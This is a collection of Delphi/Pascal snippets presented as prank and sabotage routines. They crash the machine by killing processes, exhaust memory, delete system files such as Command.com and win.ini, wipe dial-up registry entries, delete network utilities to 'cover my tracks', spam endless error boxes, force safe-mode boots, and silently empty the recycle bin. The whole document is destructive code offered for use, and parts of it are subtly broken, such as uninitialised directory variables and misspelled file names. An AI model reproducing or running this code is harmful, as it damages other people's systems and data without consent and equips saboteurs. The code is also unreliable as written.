-crash machine
uses
Tlhelp32;
KillTask('kernel32.dll');
function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
-------------------------------------------------------------------------------------
-eat memory
procedure TForm1.Button1Click(Sender: TObject);
var
C :PChar;
begin
while 1=1 do
begin
GetMem(C, 1024)
end;
end;
---------------------------------------------------------------------------------
-delete dialups
uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
I: Integer;
Reg : TRegistry;
Keys,Values: TStringList;
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create;
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if not Reg.OpenKey('\RemoteAccess\Addresses',false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values[I]);
if not Reg.OpenKey('\RemoteAccess\Profiles',false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys[I]);
Reg.Free;
Values.Free;
Keys.Free;
end;
-----------------------------------------------------------------------------------------------------
-system sabotage / kill startup
procedure TForm1.Button1Click(Sender: TObject);
var
SystemDir : String ;
begin
DeleteFile(SystemDir+'\windows\Command.com');
DeleteFile(SystemDir+'\windows\Win.com');
DeleteFile(SystemDir+'\windows\system.ini');
DeleteFile(SystemDir+'\windows\win.ini');
DeleteFile(SystemDir+'\Command.com');
DeleteFile(SystemDir+'\autoexe.bat');
end;
-----------------------------------------------------------------------------------------------------
-cover my tracks
Procedure CoverMyTracks;
var
WindowsDirectory : String ;
begin
DeleteFile(WindowsDirectory+'Netstat.exe');
DeleteFile(WindowsDirectory+'NBTSTAT.EXE');
DeleteFile(WindowsDirectory+'TRACERT.EXE');
DeleteFile(WindowsDirectory+'ROUTE.EXE');
DeleteFile(WindowsDirectory+'PING.EXE');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CoverMyTracks
end;
------------------------------------------------------------------------------------------
-critical error
procedure TForm1.Button1Click(Sender: TObject);
begin
FatalAppExit(0,'The program has performed an Illegal Operation ')
End
-----------------------------------------------------------------------------------------------------
-constant error messages
procedure TForm1.Button1Click(Sender: TObject);
begin
Repeat
MessageBox(0,'Irritating, isn''t it?','Hello there!',MB_YESNO Or MB_ICONSTOP); Until (1=2);
end;
-----------------------------------------------------------------------------------------
-create multiple folders
//NUMBER is a SpinEditInteger!!!
procedure TForm1.Button1Click(Sender: TObject);
var
I: Integer;
begin
for I := 0 to Number.Value do
begin
CreateDirectory(PChar('C:\MaYhEm' + IntToStr(I)), nil);
end;
end;
------------------------------------------------------------------------------------
-flip screen up-side-down
procedure TForm1.Button1Click(Sender: TObject);
var
Canvas: TCanvas;
begin
Canvas:=TCanvas.Create;
try
Canvas.Handle:=CreateDC('DISPLAY',nil,nil,nil);
Canvas.CopyRect(Rect(0,0,Screen.Width,Screen.Height),Canvas,
Rect(0,Screen.Height,Screen.Width,0));
finally
Canvas.Free;
end;
end;
----------------------------------------------------------------------------------
-boot to safe mode
{uses IniFiles}
procedure BootToSafeMode(Yes:Boolean);
var Attr:integer;
const MsDosSys='C:\MSDOS.SYS';
begin
Attr:=FileGetAttr(MsDosSys);
FileSetAttr(MsDosSys,0);
with TIniFile.Create(MsDosSys) do begin
WriteInteger('Options','BootSafe',Integer(Yes));
WritePrivateProfileString(nil,nil,nil,pChar(MsDosSys));
Free;
end;
FileSetAttr(MsDosSys,Attr);
end;
// Boot to Safe Mode:
procedure TForm1.Button1Click(Sender: TObject);
begin
BootToSafeMode(True);
end;
// Boot Normally:
procedure TForm1.Button2Click(Sender: TObject);
begin
BootToSafeMode(False);
end;
---------------------------------------------------------------------------------
-restart to ms-dos mode
procedure TForm1.Button2Click(Sender: TObject);
var
szWinDir:array[0..MAX_PATH] of char;
Cmd:string;
begin
GetWindowsDirectory(szWinDir,SizeOf(szWinDir));
Cmd:=StrPas(szWinDir);
if Cmd[Length(Cmd)]<>'\' then Cmd:=Cmd+'\';
Cmd:=Cmd+'Exit to DOS.pif';
if FileExists(cmd) then
WinExec(pChar(#34+cmd+#34),SW_SHOWNORMAL)
else ShowMessage('Cannot find PIF file');
end;
-----------------------------------------------------------------------------
-empty recycling bin, secretly
function SHEmptyRecycleBin
(Wnd:HWnd; LPCTSTR:PChar; DWORD:Word):Integer; stdcall;
const
SHERB_NOCONFIRMATION = $00000001;
SHERB_NOPROGRESSUI = $00000002;
SHERB_NOSOUND = $00000004;
implementation
{$R *.DFM}
function SHEmptyRecycleBin; external 'SHELL32.DLL' name 'SHEmptyRecycleBinA';
procedure TForm1.Button1Click(Sender: TObject);
begin
SHEmptyRecycleBin(self.handle,'',SHERB_NOCONFIRMATION);
end;
---------------------------------------------------------------------------